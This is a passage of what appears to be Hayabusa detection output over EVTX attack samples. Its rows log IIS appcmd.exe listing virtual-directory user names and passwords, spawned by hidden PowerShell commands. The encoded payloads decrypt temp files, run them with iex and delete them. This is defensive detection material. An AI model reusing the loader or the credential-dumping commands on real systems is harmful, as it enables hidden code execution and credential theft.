GQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.063 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.143 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.233 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Filename: redirection.config"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.323 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir ""Filename: redirection.config"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.403 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:19.473 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc 